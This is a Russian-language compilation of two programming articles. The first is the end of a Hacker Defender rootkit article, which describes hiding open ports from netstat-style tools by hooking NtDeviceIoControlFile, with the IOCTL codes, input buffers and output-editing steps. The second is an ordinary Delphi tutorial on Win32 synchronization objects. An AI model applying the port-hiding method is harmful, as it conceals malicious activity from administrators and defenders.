IN DWORD dwProtocolVersion;
);

DWORD WINAPI AllocateAndGetTcpExTableFromStack(
OUT PMIB_TCPTABLE_EX *pTcpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);

DWORD WINAPI AllocateAndGetUdpExTableFromStack(
OUT PMIB_UDPTABLE_EX *pUdpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);

Есть и другой способ. Когда программа создает сокет и начинает его
слушать, она, конечно, имеет открытый хэндл для него и для открытого порта.
Мы можем перечислить все открытые хэндлы в системе и послать им специальный
буфер, используя функцию NtDeviceIoControlFile, чтобы определить хэндлы
для открытых портов. Это также даст нам информацию о портах. Так как открытых
хэндлов очень много, мы будем тестировать только хэндлы с типом File и именем
\Device\Tcp или \Device\Udp. Открытые порты имеют только этот тип и имя.

Когда мы смотрели код перечисленных функций в iphlpapi.dll, мы
обнаружили, что эти функции вызывают NtDeviceIoControlFile и посылают
специальный буфер для того, чтобы получить список всех открытых портов в
системе. Это значит, что единственная функция, которую нужно перехватить для
скрытия портов - это NtDeviceIoControlFile.

NTSTATUS NtDeviceIoControlFile(
IN HANDLE FileHandle
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

Интересующие нас параметры - это FileHandle (определяет хэндл
устройства), IoStatusBlock (указывает на переменную, которая получает
информацию о статусе выполнения и информацию об операции), IoControlCode
(число, определяющее тип устройства, метод, права доступа и функцию).
InputBiffer содержит данные размером InputBufferLength байт. И тоже самое в
OutputBuffer и OutputbufferLength.

Netstat, OpPorts в WinXP, FPort в WinXP

Получение списка открытых портов в первую очередь использутеся,
например, в OpPorts и FPort в Windows XP, а также Netstat.
Программы вызывают NtDeviceIoControlFile дважды с IoControlCode равным
0x000120003. OutputBuffer заполняется после второго вызова. Имя FileHandle
здесь всегда \Device\Tcp. InputBuffer различается для разных типов вызова:

1) Для получения массива из MIB_TCPROW InputBuffer должен быть таким:

первый вызов:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

второй вызов:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

2) Чтобы получить массив из MIB_UDPROW:

первый вызов:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

второй вызов:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

3) Чтобы получить массив из MIB_TCPROW_EX:

первый вызов:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

второй вызов:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

4) Чтобы получить массив из MIB_UDPROW_EX:

Первый вызов:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

Второй вызов:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

Вы можете заметить, что буферы различаются только в нескольких байтах.
Мы можем объяснить это.

Интересующие нас вызовы имеют в InputBuffer[1] 0x04 и, в основном,
InputBuffer[17] содержит 0x01. Только при таких входных данных мы получим
в OutputBuffer нужные таблицы. Если мы хотим получить информацию о TCP-портах,
нужно установить в InputBuffer[0] значение 0x00, или 0x01 для получения
информации о UDP-портах. Если нам нужны Ex-таблицы (MIB_TCPROW_EX или
MIB_UDPROW_EX), нужно во втором вызове установить в Inputbuffer[16] 0x02.

Если мы перехватили вызов с этими параметрами, нужно просто изменить
выходной буфер. Чтобы получить количество строк в выходном буфере, просто
разделите Information из IoStatusBlock на размер строки. Скрыть одну строку
очень просто. Просто перезапишите ее последующими строками и удалить последнюю
строку. Не забудьте изменить OutputBufferLength и IoStatusBlock.

OpPorts в Win2k и NT4, FPort в Win2k

Мы используем NtDeviceIoControlFile с IoControlCode равным 0x00210012,
чтобы определить, что хэндл с типом File и именем \Device\Tcp или \Device\Udp -
это хэндл открытого порта.

Во-первых, мы сравним IoControlCode, а затем тип и имя хэндла. Если
он нас все еще интересует, мы проверим длину входного буфера, который должен
быть равным длине структуры TDI_CONNECTION_IN. Ее длина 0x18. Выходной буфер -
TDI_CONNETION_OUT.

typedef struct _TDI_CONNETION_IN
{
ULONG UserDataLength,
PVOID UserData,
ULONG OptionsLength,
PVOID Options,
ULONG RemoteAddressLength,
PVOID RemoteAddress
} TDI_CONNETION_IN, *PTDI_CONNETION_IN;

typedef struct _TDI_CONNETION_OUT
{
ULONG State,
ULONG Event,
ULONG TransmittedTsdus,
ULONG ReceivedTsdus,
ULONG TransmissionErrors,
ULONG ReceiveErrors,
LARGE_INTEGER Throughput
LARGE_INTEGER Delay,
ULONG SendBufferSize,
ULONG ReceiveBufferSize,
ULONG Unreliable,
ULONG Unknown1[5],
USHORT Unknown2
} TDI_CONNETION_OUT, *PTDI_CONNETION_OUT;

Конкретная реализация, того как определить то, что хэндл - это хэндл
открытого порта, доступна в исходном коде OpPorts на моем сайте
http://rootkit.host.sk. Сейчас нам необходимо скрыть определенные порты. Мы
уже проверили InputBufferLength и IoControlCode. Теперь мы должны проверить
RemoteAddressLength - для открытого порта всегда 3 или 4. Наконец, мы должны
сравнить поле ReceivedTsdus из OutputBuffer, которое содержит порт в
сетевой форме, со списком портов, которые мы хотим скрыть. Мы можем различать
TCP и UDP в соответствии с именем хэндла. Удалив OutputBuffer, изменив
IoStatusBlock и вернув значение STATUS_INVALID_ADDRESS, мы скроем порт.

Окончание

Конкретная реализация описанных техник доступна в исходном коде
Hacker Defender Rootkit версии 1.0.0 на сайте http://rootkit.host.sk и на
http://www.rootkit.com.
Возможно, я добавлю информацию о невидимости в Windows NT в будущем.
Новые версии документа также будут содержать улучшения описаных методов и новые
комментарии.
Отдельное спасибо Ratter'у, который дал мне много ноу-хау, которые были
необходимы для написания этой статьи и кода проекта Hacker Defender.
Все комментарии присылаете на holy_father@phreaker.net или на доску на
сайте http://rootkit.host.sk.

Взято из http://forum.sources.ru


Синхронизация процессов при работе с Windows (статья)

Синхронизация процессов при работе с Windows

Задача синхронизации встает при одновременном доступе нескольких процессов (или нескольких потоков одного процесса) к какому-либо ресурсу. Поскольку поток в Win32 может быть остановлен в любой, заранее ему неизвестный момент времени возможна ситуация, когда один из потоков не успел завершить модификацию ресурса (например, отображенной на файл области памяти), но был остановлен, а другой поток попытался обратиться к этому же ресурсу. В этот момент ресурс находится в несогласованном состоянии, и последствия обращения к нему могут быть самыми неожиданными – от порчи данных, до нарушения защиты памяти.
Главной идеей, положенной в основу синхронизации потоков в Win32 является использование объектов синхронизации и функций ожидания. Объекты могут находиться в одном из двух состояний – Signaled или Not Signaled. Функции ожидания блокируют выполнение потока до тех пор, пока заданный объект находится в состоянии Not Signaled. Таким образом, поток, которому необходим эксклюзивный доступ к ресурсу, должен выставить какой-либо объект синхронизации в несигнальное состояние, а по окончании – сбросить его в сигнальное. Остальные потоки должны перед доступом к этому ресурсу вызвать функцию ожидания, которая позволит им дождаться освобождения ресурса.
Рассмотрим, какие объекты и функции синхронизации предоставляет нам Win32 API.

Функции синхронизации
Функции синхронизации делятся на две основные категории – это функции, ожидающие единственного объекта и функции, ожидающие одного из нескольких объектов

Функции, ожидающие единственного объекта
Простейшей функцией ожидания является

function WaitForSingleObject(
  hHandle: THandle;       // идентификатор объекта
  dwMilliseconds: DWORD   // период ожидания
): DWORD; stdcall;

Функция ожидает перехода объекта hHandle в сигнальное состояние в течении dwMilliseconds миллисекунд. Если в качестве параметра dwMilliseconds передать значение INFINITE, функция будет ждать в течение неограниченного времени. Если dwMilliseconds равен 0, то функция проверяет состояние объекта и немедленно возвращает управление.
Функция возвращает одно из следующих значений:
WAIT_ABANDONED Поток, владевший объектом, завершился, не переведя объект в сигнальное состояние.
WAIT_OBJECT_0 Объект перешел в сигнальное состояние
WAIT_TIMEOUT Истек срок ожидания. Обычно в этом случае генерируется ошибка, либо функция вызывается в цикле до получения другого результата
WAIT_FAILED Произошла ошибка, например неверное значение hHandle. Более подробную информацию можно получить, вызвав GetLastError
Следующий фрагмент кода запрещает Action1 до перехода объекта ObjectHandle в сигнальное состояние. Например, таким образом можно дожидаться завершения процесса, предав в качестве ObjectHandle его идентификатор, полученный функцией CreateProcess.

var
  Reason: DWORD;
  ErrorCode: DWORD;

Action1.Enabled := FALSE;
try
  repeat
    Application.ProcessMessages;
    Reason := WailForSingleObject(ObjectHandle, 10);
    if Reason = WAIT_FAILED then begin
      ErrorCode := GetLastError;
      raise Exception.CreateFmt(
        'Wait for object failed with error: %d', [ErrorCode]);
    end;
  until Reason <> WAIT_TIMEOUT;
finally
  Actionl.Enabled := TRUE;
end;

В случае, когда требуется одновременно с ожиданием объекта, перевести в сигнальное состояние другой объект может использоваться функция:

function SignalObjectAndWait(
  hObjectToSignal: THandle;  // объект, который будет переведен в
                             // сигнальное состояние
  hObjectToWaitOn: THandle;  // объект, которого ожидает функция
  dwMilliseconds: DWORD;     // период ожидания
  bAlertable: BOOL           // задает, должна ли функция возвращать
                             // управление в случае запроса на
                             // завершение операции ввода-вывода
): DWORD; stdcall;

Возвращаемые значения аналогичны функции WaitForSingleObject.
! В модуле Windows.pas эта функция ошибочно объявлена, как возвращающая значение BOOL. Если Вы намерены её использовать – объявите её корректно или используйте приведение типа возвращенного значения к DWORD
Объект hObjectToSignal может быть семафором, событием (event), либо мутексом. Параметр bAlertable определяет, будет ли прерываться ожидание объекта, в случае, если операционная система запросит у потока окончание операции асинхронного ввода-вывода, либо асинхронный вызов процедуры. Более подробно это обсуждается ниже.

Функции, ожидающие нескольких объектов
Иногда требуется задержать выполнение потока до срабатывания одного или всех сразу из группы объектов. Для решения подобной задачи служат следующие функции:

type
  TWOHandleArray = array[0..MAXIMUM_WAIT_OBJECTS - 1] of THandle;
  PWOHandleArray = ^TWOHandleArray;

function WaitForMultipleObjects(
  nCount: DWORD;              // Задает количество объектов
  lpHandles: PWOHandleArray;  // Адрес массива объектов
  bWaitAll: BOOL;             // Задает, требуется ожидание всех
                              // объектов или любого
  dwMilliseconds: DWORD       // Период ожидания
): DWORD; stdcall;

Функция возвращает одно из следующих значений:
Число в диапазоне от WAIT_OBJECT_0 до WAIT_OBJECT_0 + nCount – 1 Если bWaitAll равно TRUE, то это число означает, что все объекты перешли в сигнальное состояние. Если FALSE – то, вычтя из возвращенного значения WAIT_OBJECT_0, мы получим индекс объекта в массиве lpHandles.
Число в диапазоне от WAIT_ABANDONED_0 до WAIT_ABANDONED_0 + nCount – 1 Если bWaitAll равно TRUE – это означает, что все перешли в сигнальное состояние, но хотя бы один из владевших ими потоков завершился, не сделав объект сигнальным. Если FALSE – то, вычтя из возвращенного значения WAIT_ABANDONED_0, мы получим индекс объекта в массиве lpHandles, поток, владевший которым, завершился, не сделав его сигнальным.
WAIT_TIMEOUT Истек период ожидания
WAIT_FAILED Произошла ошибка
Например, в следующем фрагменте кода программа пытается модифицировать два различных ресурса, разделяемых между потоками.

var
  Handles: array[0..1] of THandle;
  Reason: DWORD;
  RestIndex: Integer;

...

Handles[0] := OpenMutex(SYNCHRONIZE, FALSE, 'FirstResource');
Handles[1] := OpenMutex(SYNCHRONIZE, FALSE, 'SecondResource');
// Ждем первого из объектов
Reason := WaitForMultipleObjects(2, @Handles, FALSE, INFINITE);
case Reason of
  WAIT_FAILED: RaiseLastWin32Error;
  WAIT_OBJECT_0, WAIT_ABANDONED_0:
    begin
      ModifyFirstResource;
      RestIndex := 1;
    end;
  WAIT_OBJECT_0 + 1, WAIT_ABANDONED_0 + 1:
    begin
      ModifySecondResource;
      RestIndex := 0;
    end;
  // WAIT_TIMEOUT возникнуть не может
end;
// Теперь ожидаем освобождения следующего объекта
if WailForSingleObject(Handles[RestIndex],
     INFINITE) = WAIT_FAILED then
       RaiseLastWin32Error;
// Дождались, модифицируем оставшийся ресурс.
if RestIndex = 0 then
  ModifyFirstResource
else
 ModifySecondResource;

Описанную выше технику можно применять, если Вы точно знаете, что задержка ожидания объекта окажется небольшой. В противном случае Ваша программа окажется "замороженной" и не сможет даже перерисовать своё окно. Если период задержки может оказаться значительным, то необходимо дать программе возможность реагировать на сообщения Windows. Выходом может служить использование функций с ограниченным периодом ожидания (и повторный вызов, в случае возврата WAIT_TIMEOUT), либо использование функции:

function MsgWaitForMultipleObjects(
  nCount: DWORD;     // количество объектов синхронизации
  var pHandles;      // адрес массива объектов
  fWaitAll: BOOL;    // Задает, требуется ожидание всех
                     // объектов или любого
  dwMilliseconds,    // Период ожидания
  dwWakeMask: DWORD  // Тип события, прерывающего ожидание
): DWORD; stdcall;

Главное отличие этой функции от предыдущей – параметр dwWakeMask, который является комбинацией битовых флагов QS_XXX и задает типы сообщений, которые прерывают ожидание функции, независимо от состояния ожидаемых объектов. Например, маска QS_KEY позволяет прервать ожидание при появлении в очереди сообщений WM_KEYUP, WM_KEYDOWN, WM_SYSKEYUP или WM_SYSKEYDOWN, а маска QS_PAINT - сообщения WM_PAINT. Полный список значений, допустимых для dwWakeMask имеется в документации по Windows SDK. При появлении в очереди потока, вызвавшего функцию, сообщений, соответствующих заданной маске функция возвращает значение WAIT_OBJECT_0 + nCount. Получив это значение, Ваша программа может обработать его и снова вызвать функцию ожидания. Рассмотрим пример с запуском внешнего приложения. Необходимо, чтобы на время его работы вызывающая программа не реагировала на ввод пользователя, однако её окно должно продолжать перерисовываться.

procedure TForm1.Button1Click(Sender: TObject);
var
  PI: TProcessInformation;
  SI: TStartupInfo;
  Reason: DWORD;
  Msg: TMsg;
begin
  // Инициализируем структуру TStartupInfo
  FillChar(SI, SizeOf(SI), 0);
  SI.cb := SizeOf(SI);
  // Запускаем внешнюю программу
  Win32Check(CreateProcess(NIL, 'COMMAND.COM', NIL,
    NIL, FALSE, 0, NIL, NIL, SI, PI));
//**************************************************
// Попробуйте заменить нижеприведенный код на строку
// WaitForSingleObject(PI.hProcess, INFINITE);
// и посмотреть, как будет реагировать программа на
// перемещение других окон над её окном
//**************************************************
  repeat
    // Ожидаем завершения дочернего процесса или сообщения
    // перерисовки WM_PAINT
    Reason := MsgWaitForMultipleObjects(1, PI.hProcess, FALSE,
      INFINITE, QS_PAINT);
    if Reason = WAIT_OBJECT_0 + 1 then begin
      // В очереди сообщений появился WM_PAINT – Windows
      // требует обновить окно программы.
      // Удаляем сообщение из очереди
      PeekMessage(Msg, 0, WM_PAINT, WM_PAINT, PM_REMOVE);
      // И перерисовываем наше окно
      Update;
    end;
    // Повторяем цикл, пока не завершится дочерний процесс
  until Reason = WAIT_OBJECT_0;
  // Удаляем из очереди накопившиеся там сообщения
  while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do;
  CloseHandle(PI.hProcess);
  CloseHandle(PI.hThread)
end;

Если в потоке, вызывающем функции ожидания явно (функцией CreateWindow) или неявно (используя TForm, DDE, COM) создаются окна Windows – поток должен обрабатывать сообщения. Поскольку широковещательные сообщения посылаются всем окнам в системе – поток, не обрабатывающий сообщения может вызвать взаимоблокировку, (система ждет, когда поток обработает сообщение, поток – когда система или другие потоки освободят объект) и привести к зависанию Windows. Если в Вашей программе имеются подобные фрагменты – необходимо использовать MsgWaitForMultipleObjects или MsgWaitForMultipleObjectsEx и позволять прервать ожидание для обработки сообщений. Алгоритм аналогичен вышеприведенному примеру.

Прерывание ожидания по запросу на завершение операции ввода-вывода или APC
Windows поддерживает асинхронные вызовы процедур. При создании каждого потока (thread) с ним ассоциируется очередь асинхронных вызовов процедур (APC queue). Операционная система (или приложение пользователя, при помощи функции QueueUserAPC) может помещать в неё запросы на выполнение функций в контексте этого потока. Эти функции не могут быть выполнены немедленно, поскольку поток может быть занят. Поэтому, операционная система вызывает их, когда поток вызывает одну из следующих функций ожидания:

function SleepEx(
  dwMilliseconds: DWORD;   // Период ожидания
  bAlertable: BOOL         // задает, длжна ли функция возвращать
                           // управление в случае запроса на
                           // асинхронный вызов процедуры
): DWORD; stdcall;

function WaitForSingleObjectEx(
  hHandle: THandle;      // Идентификатор объекта
  dwMilliseconds: DWORD; // Период ожидания
  bAlertable: BOOL       // задает, длжна ли функция возвращать
                         // управление в случае запроса на
                         // асинхронный вызов процедуры
): DWORD; stdcall;

function WaitForMultipleObjectsEx(
  nCount: DWORD;            // количество объектов
  lpHandles: PWOHandleArray;// адрес массива идентификаторов объектов
  bWaitAll: BOOL;           // Задает, требуется ожидание всех
                            // объектов или любого
  dwMilliseconds: DWORD;    // Период ожидания
  bAlertable: BOOL          // задает, должна ли функция возвращать
                            // управление в случае запроса на
                            // асинхронный вызов процедуры
): DWORD; stdcall;

function SignalObjectAndWait(
  hObjectToSignal: THandle;  // объект, который будет переведен в
                             // сигнальное состояние
  hObjectToWaitOn: THandle;  // объект, которого ожидает функция
  dwMilliseconds: DWORD;     // период ожидания
  bAlertable: BOOL           // задает, должна ли функция возвращать
                             // управление в случае запроса на
                             // асинхронный вызов процедуры
): DWORD; stdcall;

function MsgWaitForMultipleObjectsEx(
nCount: DWORD;     // количество объектов синхронизации
  var pHandles;      // адрес массива объектов
  fWaitAll: BOOL;    // Задает, требуется ожидание всех
                     // объектов или любого
  dwMilliseconds,    // Период ожидания
  dwWakeMask: DWORD  // Тип события, прерывающего ожидание
  dwFlags: DWORD     // Дополнительные флаги
): DWORD; stdcall;

Если параметр bAlertable равен TRUE (либо dwFlags в функции MsgWaitForMultipleObjectsEx содержит MWMO_ALERTABLE) , то при появлении в очереди APC запроса на асинхронный вызов процедуры операционная система выполняет вызовы всех имеющихся в очереди процедур, после чего функция возвращает значение WAIT_IO_COMPLETION.
Такой механизм позволяет реализовать, например, асинхронный ввод-вывод. Поток может инициировать фоновое выполнение одной или нескольких операций ввода-вывода функциями ReadFileEx или WriteFileEx, передав им адреса функций-обработчиков завершения операции. По завершении вызовы этих функций будут поставлены в очередь асинхронного вызова процедур. В свою очередь, инициировавший операции поток, когда он будет готов обработать результаты, может, используя одну из вышеприведенных функций ожидания, позволить операционной системе вызвать функции-обработчики. Поскольку очередь APC реализована на уровне ядра ОС, она более эффективна, чем очередь сообщений и позволяет реализовать гораздо более эффективный ввод-вывод.

Объекты синхронизации
Объектами синхронизации называются объекты Windows, идентификаторы которых могут использоваться в функциях синхронизации. Они делятся на две группы – объекты, использующиеся только для синхронизации и объекты, которые используются в других целях, но могут вызывать срабатывание функций ожидания. К первой группе относятся:
Event (событие)
Позволяет известить один или несколько ожидающих потоков о наступлении события. Event бывает
Отключаемый вручную Будучи установленным в сигнальное состояние, остается в нем до тех пор, пока не будет переключен явным вызовом функции ResetEvent
Автоматически отключаемый Автоматически переключается в несигнальное состояние операционной системой, когда один из ожидающих его потоков завершается.
Для создания объекта используется функция:

function CreateEvent(
  lpEventAttributes: PSecurityAttributes;  // Адрес структуры
                                           // TSecurityAttributes
   bManualReset,         // Задает, будет Event переключаемым
                         // вручную (TRUE) или автоматически (FALSE)
   bInitialState: BOOL;  // Задает начальное состояние. Если TRUE -
                         // объект в сигнальном состоянии
   lpName: PChar         // Имя или NIL, если имя не требуется
): THandle; stdcall;     // Возвращает идентификатор созданного
                         // объекта

Структура TSecurityAttributes описана, как:

TSecurityAttributes = record
  nLength: DWORD;                // Размер структуры, должен
                                 // инициализироваться как
                                 // SizeOf(TSecurityAttributes)
  lpSecurityDescriptor: Pointer; // Адрес дескриптора защиты. В
                                 // Windows 95 и 98 игнорируется
                                 // Обычно можно указывать NIL
  bInheritHandle: BOOL;          // Задает, могут ли дочерние
                                 // процессы наследовать объект
end;

Если не требуется задание особых прав доступа под Windows NT или возможности наследования объекта дочерними процессами, в качестве параметра lpEventAttributes можно передавать NIL. В этом случае объект не может наследоваться дочерними процессами и ему задается дескриптор защиты «по умолчанию».
Параметр lpName позволяет разделять объекты между процессами. Если lpName совпадает с именем уже существующего объекта типа Event, созданного текущим или любым другим процессом, функция не создает нового объекта, а возвращает идентификатор уже существующего. При этом игнорируются параметры bManualReset, bInitialState и lpSecurityDescriptor. Проверить, был объект создан, или используется уже существующий можно следующим образом:

hEvent := CreateEvent(NIL, TRUE, FALSE, 'EventName');
if hEvent = 0 then
  RaiseLastWin32Error;
if GetLastError = ERROR_ALREADY_EXISTS then begin
  // Используем ранее созданный объект
end;

Если объект используется для синхронизации внутри одного процесса, его можно объявить как глобальную переменную и создавать без имени.
Имя объекта не должно совпадать с именем любого из существующих объектов типов Semaphore, Mutex, Job, Waitable Timer или FileMapping. В случае совпадения имен, функция возвращает ошибку.
Если известно, что Event уже создан, для получения доступа к нему можно вместо CreateEvent воспользоваться функцией:

function OpenEvent(
  dwDesiredAccess: DWORD;  // Задает права доступа к объекту
  bInheritHandle: BOOL;    // Задает, может ли объект наследоваться
                           // дочерними процессами
  lpName: PChar            // Имя объекта
): THandle; stdcall;

Функция возвращает идентификатор объекта, либо 0, в случае ошибки. Параметр dwDesiredAccess может принимать одно из следующих значений:
EVENT_ALL_ACCESS Приложение получает полный доступ к объекту
EVENT_MODIFY_STATE Приложение может изменять состояние объекта функциями SetEvent и ResetEvent
SYNCHRONIZE Только для Windows NT – приложение может использовать объект только в функциях ожидания
После получения идентификатора можно приступать к его использованию. Для этого имеются следующие функции:

function SetEvent(hEvent: THandle): BOOL; stdcall;

Устанавливает объект в сигнальное состояние

function ResetEvent(hEvent: THandle): BOOL; stdcall;

Сбрасывает объект, устанавливая его в несигнальное состояние

function PulseEvent(hEvent: THandle): BOOL; stdcall

Устанавливает объект в сигнальное состояние, дает отработать всем функциям ожидания, ожидающим этот объект, а затем снова сбрасывает его.
В WinAPI события используются, для выполнения операций асинхронного ввода-вывода. Следующий пример показывает, как приложение инициирует запись одновременно в два файла, а затем ожидает завершения записи перед продолжением работы. Такой подход может обеспечить более высокую производительность при высокой интенсивности ввода-вывода, чем последовательная запись.

var
  Events: array[0..1] of THandle;  // Массив объектов синхронизации
  Overlapped: array[0..1] of TOverlapped;

...

// Создаем объекты синхронизации
Events[0] := CreateEvent(NIL, TRUE, FALSE, NIL);
Events[1] := CreateEvent(NIL, TRUE, FALSE, NIL);

// Инициализируем структуры TOverlapped
FillChar(Overlapped, SizeOf(Overlapped), 0);
Overlapped[0].hEvent := Events[0];
Overlapped[1].hEvent := Events[1];

// Начинаем асинхронную запись в файлы
WriteFile(hFirstFile, FirstBuffer, SizeOf(FirstBuffer),
  FirstFileWritten, @Overlapped[0]);
WriteFile(hSecondFile, SecondBuffer, SizeOf(SecondBuffer),
  SecondFileWritten, @Overlapped[1]);

// Ожидаем завершения записи в оба файла
WaitForMultipleObjects(2, @Events, TRUE, INFINITE);

// Уничтожаем объекты синхронизации
CloseHandle(Events[0]);
CloseHandle(Events[1]);

По завершении работы с объектом, он должен быть уничтожен функцией CloseHandle.
Delphi предоставляет класс TEvent, инкапсулирующий функциональность объекта Event. Класс расположен в модуле SyncObjs.pas и объявлен следующим образом:

type
  TWaitResult = (wrSignaled, wrTimeout, wrAbandoned, wrError);

  TEvent = class(THandleObject)
  public
    constructor Create(EventAttributes: PSecurityAttributes;
      ManualReset, InitialState: Boolean; const Name: string);
    function WaitFor(Timeout: DWORD): TWaitResult;
    procedure SetEvent;
    procedure ResetEvent;
  end;

Назначение методов очевидно из их названий. Использование этого класса позволяет не вдаваться в тонкости реализации вызываемых функций Windows API. Для простейших случаев объявлен еще один класс с упрощенным конструктором.

type
  TSimpleEvent = class(TEvent)
  public
    constructor Create;
  end;

…

constructor TSimpleEvent.Create;
begin
  FHandle := CreateEvent(nil, True, False, nil);
end;

Mutex (Mutually Exclusive)
Мутекс – это объект синхронизации, который находится в сигнальном состоянии только тогда, когда он не принадлежит ни одному из процессов. Как только хотя бы один процесс запрашивает владение мутексом, он переходит в несигнальное состояние и остается в нем до тех пор, пока не будет освобожден владельцем. Такое поведение позволяет использовать мутексы для синхронизации совместного доступа нескольких процессов к разделяемому ресурсу. Для создания мутекса используется функция:

function CreateMutex(
  lpMutexAttributes: PSecurityAttributes;  // Адрес структуры
                                           // TSecurityAttributes
  bInitialOwner: BOOL;  // Задает, будет ли процесс владеть
                        // мутексом сразу после создания
  lpName: PChar         // Имя мутекса
): THandle; stdcall;

Функция возвращает идентификатор созданного объекта, либо 0. Если мутекс с заданным именем уже был создан, возвращается его идентификатор. В этом случае функция GetLastError вернет код ошибки ERROR_ALREDY_EXISTS. Имя не должно совпадать с именем уже существующего объекта типов Semaphore, Event, Job, Waitable Timer или FileMapping
Если неизвестно, существует ли уже мутекс с таким именем, программа не должна запрашивать владение объектом при создании (т.е. должна передать в качестве bInitialOwner значение FALSE).
Если мутекс уже существует, приложение может получить его идентификатор функцией

function OpenMutex(
  dwDesiredAccess: DWORD;  // Задает права доступа к объекту
  bInheritHandle: BOOL;    // Задает, может ли объект наследоваться
                           // дочерними процессами
  lpName: PChar            // Имя объекта
): THandle; stdcall;

Параметр dwDesiredAccess может принимать одно из следующих значений
MUTEX_ALL_ACCESS Приложение получает полный доступ к объекту
SYNCHRONIZE Только для Windows NT – приложение может использовать объект только в функциях ожидания и функции ReleaseMutex
Функция возвращает идентификатор открытого мутекса, либо 0, в случае ошибки. Мутекс переходит в сигнальное состояние после срабатывания функции ожидания, в которую был передан его идентификатор. Для возврата в несигнальное состояние служит функция
function ReleaseMutex(hMutex: THandle): BOOL; stdcall;
Если несколько процессов обмениваются данными, например, через файл, отображенный на память, каждый из них должен содержать следующий код для обеспечения корректного доступа к общему ресурсу:

var
  Mutex: THandle;

// При инициализации программы
Mutex := CreateMutex(NIL, FALSE, 'UniqueMutexName');
if Mutex = 0 then
  RaiseLastWin32Error;

...
// Доступ к ресурсу
WaitForSingleObject(Mutex, INFINITE);
try
  // Доступ к ресурсу, захват мутекса гарантирует,
  // что остальные процессы пытающиеся получить доступ
  // будут остановлены на функции WaitForSingleObject
  ...
finally
  // Работа с ресурсом окончена, освобождаем его
  // для остальных процессов
  ReleaseMutex(Mutex);
end;

...
// При завершении программы
CloseHandle(Mutex);

Подобный код удобно инкапсулировать в класс, который создает защищенный ресурс, мутекс, имеет свойства и методы для оперирования ресурсом, защищая их при помощи функций синхронизации.
Разумеется, если работа с ресурсом может потребовать значительного времени, то необходимо либо использовать функцию MsgWaitForSingleObject, либо вызывать WaitForSingleObject в цикле с нулевым периодом ожидания, проверяя код возврата. В противном случае Ваше приложение окажется замороженным. Всегда защищайте захват-освобождение объекта синхронизации при помощи блока try ... finally, иначе ошибка во время работы с ресурсом приведет к блокированию работы всех процессов, ожидающих его освобождения.
Semaphore (семафор)
Семафор представляет собой счетчик, содержащий целое число в диапазоне от 0 до заданной при его создании максимальной величины. Счетчик уменьшается каждый раз, когда поток успешно завершает функцию ожидания, использующую семафор и увеличивается вызовом функции ReleaseSemaphore. При достижении семафором значения 0 он переходит в несигнальное состояние, при любых других значениях счетчика – его состояние сигнальное. Такое поведение позволяет использовать семафор в качестве ограничителя доступа к ресурсу, поддерживающему заранее заданное количество подключений.
Для создания семафора служит функция:

function CreateSemaphore(
  lpSemaphoreAttributes: PSecurityAttributes; // Адрес структуры
                                              // TSecurityAttributes
  lInitialCount,           // Начальное значение счетчика
  lMaximumCount: Longint;  // Максимальное значение счетчика
  lpName: PChar            // Имя объекта
): THandle; stdcall;

Функция возвращает идентификатор созданного семафора, либо 0, если создать объект не удалось.
Параметр lMaximumCount задает максимальное значение счетчика семафора, lInitialCount задает начальное значение счетчика и должен быть в диапазоне от 0 до lMaximumCount. lpName задает имя семафора. Если в системе уже есть семафор с таким именем, то новый не создается, а возвращается идентификатор существующего семафора. В случае если семафор используется внутри одного процесса, можно создать его без имени, передав в качестве lpName значение NIL. Имя семафора не должно совпадать с именем уже существующего объекта типов event, mutex, waitable timer, job, или file-mapping.
Идентификатор ранее созданного семафора может быть, также, получен функцией:

function OpenSemaphore(
  dwDesiredAccess: DWORD;  // Задает права доступа к объекту
